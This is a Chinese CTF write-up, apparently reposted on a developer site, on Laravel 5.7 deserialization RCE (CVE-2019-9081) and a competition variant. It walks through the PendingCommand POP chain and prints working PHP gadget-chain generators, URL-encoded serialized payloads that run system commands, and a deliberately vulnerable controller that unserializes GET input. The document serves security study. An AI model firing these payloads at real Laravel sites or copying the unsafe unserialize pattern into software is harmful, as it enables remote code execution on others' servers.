内容简介:前天第五空间的时候5am3问我还会搞Laravel不。半年没打CTF了,真的是淡忘了很多,再加上当时牙疼到看着代码发蒙,所以题目中的链就给错过了。比赛之后复习了一下笔记:ledger:。整合了其它笔记的内容,形成了这篇文章。PS: 反序列化漏洞POP链是我当时最喜欢搞得,没想到这知识忘得真的快啊。入口URL
前天第五空间的时候5am3问我还会搞 Laravel 不。半年没打CTF了,真的是淡忘了很多,再加上当时牙疼到看着代码发蒙,所以题目中的链就给错过了。比赛之后复习了一下笔记:ledger:。整合了其它笔记的内容,形成了这篇文章。
PS: 反序列化漏洞POP链是我当时最喜欢搞得,没想到这知识忘得真的快啊。
0x01 判断题目环境的版本
❯ php artisan Laravel Framework 5.7.28
0x02 设置对应的入口点
入口URL
GET /index.php/index?p=
与入口点相关的文件:
-
路由文件
routes/web.php
Route::get('/index', 'TaskController@index');
-
反序列化的入口点
app/Http/Controllers/TaskController.php
<?php namespace App\Http\Controllers; class TaskController { public function index(){ if(isset($_GET['p'])){ unserialize($_GET['p']); } return "There is an param names p (get)"; } } ?>
0x03 本地环境搭建
两种环境搭建方案
A.本地环境配置
操作系统:macOS
PHP版本:7.3.11
composer create-project laravel/laravel laravel57mac "5.7.*" cd laravel57mac php artisan serve --host=0.0.0.0 --port 8081
B.虚拟机环境配置
具体的环境配置过程参考: 官方链接
虚拟环境的操作:
# 虚拟机的启动 cd ~/Homestead && vagrant up # ssh登录虚拟机 cd ~/Homestead && vagrant ssh # ssh上去之后可以使用如下命令退出 exit # 关闭 Homestead vagrant halt # 虚拟机删除 vagrant destroy --force # 修改Homestead.yaml配置文件重新加载 cd ~/Homestead && vagrant up # 如果虚拟机是开启的则不需要执行这个命令 vagrant provision
xdebug远程调试
#开启xdebug sudo phpenmod xdebug #关闭xdebug sudo phpdismod xdebug #客户端调试脚本 xphp path/to/script #xdebug的配置文件修改 /etc/php/7.#/fpm/conf.d/20-xdebug.ini
web服务器切换(ngnix和apache)
flip
0x04 CVE-2019-9081
影响版本:Laravel v5.7
漏洞核心: Illuminate/Foundation/Testing/PendingCommand
类中的 __destruct
方法中调用了 run
方法,而 run
方法是用来 Execute the command
的。因此需要找到对应的POP链来完成RCE。
首先看一下 PendingCommand
类中的几个重要属性:
其次看一下关键的 run
方法,这其中有两个位置的代码比较关键。一个是与代码执行直接相关的,另外一个是与到达代码执行位置相关的方法 mockConsoleOutput
。我们必须保证方法 mockConsoleOutput
可以正常执行完毕。
所有接下来就看一下 mockConsoleOutput
方法。由于程序可以正常执行到166行的位置,所以对162行的代码就不需要进行进一步的分析。
分析的关键在于166行的的属性遍历。要控制这个数组我们只需要找到一个 public function __get
魔术方法就好了。一搜一大把,这里我们选择 Faker/DefaultGenerator
类中的。
到这里为止我们先写一个PoC来进行动态分析一下
<?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; $this->app = $app; $this->command = $command; $this->parameters = $parameters; } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation { class Application { public function __construct() {} } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1")); $application = new Illuminate\Foundation\Application(); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id')); echo urlencode(serialize($pendingcommand)); }
执行之后的结果
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D
此时可以看到已经成功过了 vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php
中的第166行的代码
可以到达关键的136行代码处。
但是再往下走的程序就会抛出异常,所以要对136处的代码进行详细的分析。
这种链式调用不太好看变量中的内容,所以我在136行之前补充几行代码
$kclass = Kernel::class; $app = $this->app[Kernel::class];
动态调试的过程中可以看到 Kernel::class
中的值是 Illuminate\Contracts\Console\Kernel
。而对应的 $app = $this->app[Kernel::class];
代码在执行时会抛出异常,所以我们要跟进这个部分。继续跟进之后到达 vendor/laravel/framework/src/Illuminate/Container/Container.php
文件中。我在动态分析的时候发现 Illuminate\Container\Container
类中调用的是 Illuminate\Container\BoundMethod
的 call
静态方法。还有别忘了 Illuminate\Foundation\Application
类继承的是 Illuminate\Container\Container
类的call方法。所以我们要继续往下跟。
继续跟进之后可以看到一个关键函数 call_user_func_array
。继续跟进 getMethodDependencies
函数。该函数返回的是 $dependencies
数组和 $parameters
的合并数据,其中 $dependencies
默认为空数组,而 $parameters
为可控数据。
再加上此处 $callback
的值就是我们可控的值 system
,因此此处的实际形式为 call_user_func_array(可控数据,可控数据)
,可以构成任意代码执行。最终构造的POP链如下:
<?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; $this->app = $app; $this->command = $command; $this->parameters = $parameters; } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation{ class Application{ protected $instances = []; public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace{ $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id')); echo urlencode(serialize($pendingcommand)); } ?>
EXP
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D
0x05 CVE-2019-9081的参考链接
- Laravel5.7反序列化漏洞之RCE链挖掘
- 代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析
- laravelv5.7反序列化rce(CVE-2019-9081)
0x06 第五空间–laravel
Diff一下的发现其实题目中所做的修改仅仅是删除了 vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php
文件中的 $this->run();
这一行代码。没有这个调用点,那我们的思路就是在其中找一个 call_user_func
来执行 Illuminate/Foundation/Testing/PendingCommand
类中的 run
方法。
此处我们使用 vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
文件中的 call_user_func
函数来完成对 run
的调用
这个思路其实并不是新的,PHPGGC当中就经常只用这个点,因为 ValidGenerator
类中的 __call
比较好利用,而其中又包含了 call_user_func_array
、 call_user_func
。所以结合这个点很容易就构造出下面这个Exp。具体的不在多写,如果有不清楚的可以看后面的参考链接。
<?php // Exp来自chamd5 wp //gadgets.php namespace Illuminate\Foundation\Testing { class PendingCommand { protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters, $class, $app) { $this->command = $command; $this->parameters = $parameters; $this->test = $class; $this->app = $app; } } } namespace Illuminate\Auth { class GenericUser { protected $attributes; public function __construct(array $attributes) { $this->attributes = $attributes; } } } namespace Illuminate\Foundation { class Application { protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind) { $this->bindings = $bind; } } } namespace Symfony\Component\Routing\Loader\Configurator { class CollectionConfigurator { public $parent; public $collection; public $prefixes; public function __construct($parent) { $this->prefixes = 1; $this->parent = $parent; $this->collection = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end")); } } } namespace Faker { class ValidGenerator { protected $generator; protected $validator; protected $maxRetries; public function __construct($validator) { $this->generator = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end")); $this->validator = $validator; $this->maxRetries = 10; } } } namespace Symfony\Component\Routing { class RouteCollection { } }
<?php //chain.php include "gadgets.php"; $payload = new Illuminate\Foundation\Testing\PendingCommand( "system", array('whoami'), new Illuminate\Auth\GenericUser(array("expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1"))), new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application"))) ); $a = new Faker\ValidGenerator(array($payload, "run")); echo urlencode(serialize(new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator($a)));
0x07 第五空间laravel题解参考
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python核心编程(第3版)
[美] Wesley Chun / 孙波翔、李斌、李晗 / 人民邮电出版社 / 2016-5 / CNY 99.00
《Python核心编程(第3版)》是经典畅销图书《Python核心编程(第二版)》的全新升级版本,总共分为3部分。第1部分为讲解了Python的一些通用应用,包括正则表达式、网络编程、Internet客户端编程、多线程编程、GUI编程、数据库编程、Microsoft Office编程、扩展Python等内容。第2部分讲解了与Web开发相关的主题,包括Web客户端和服务器、CGI和WSGI相关的We......一起来看看 《Python核心编程(第3版)》 这本书的介绍吧!
JSON 在线解析
在线 JSON 格式化工具
html转js在线工具
html转js在线工具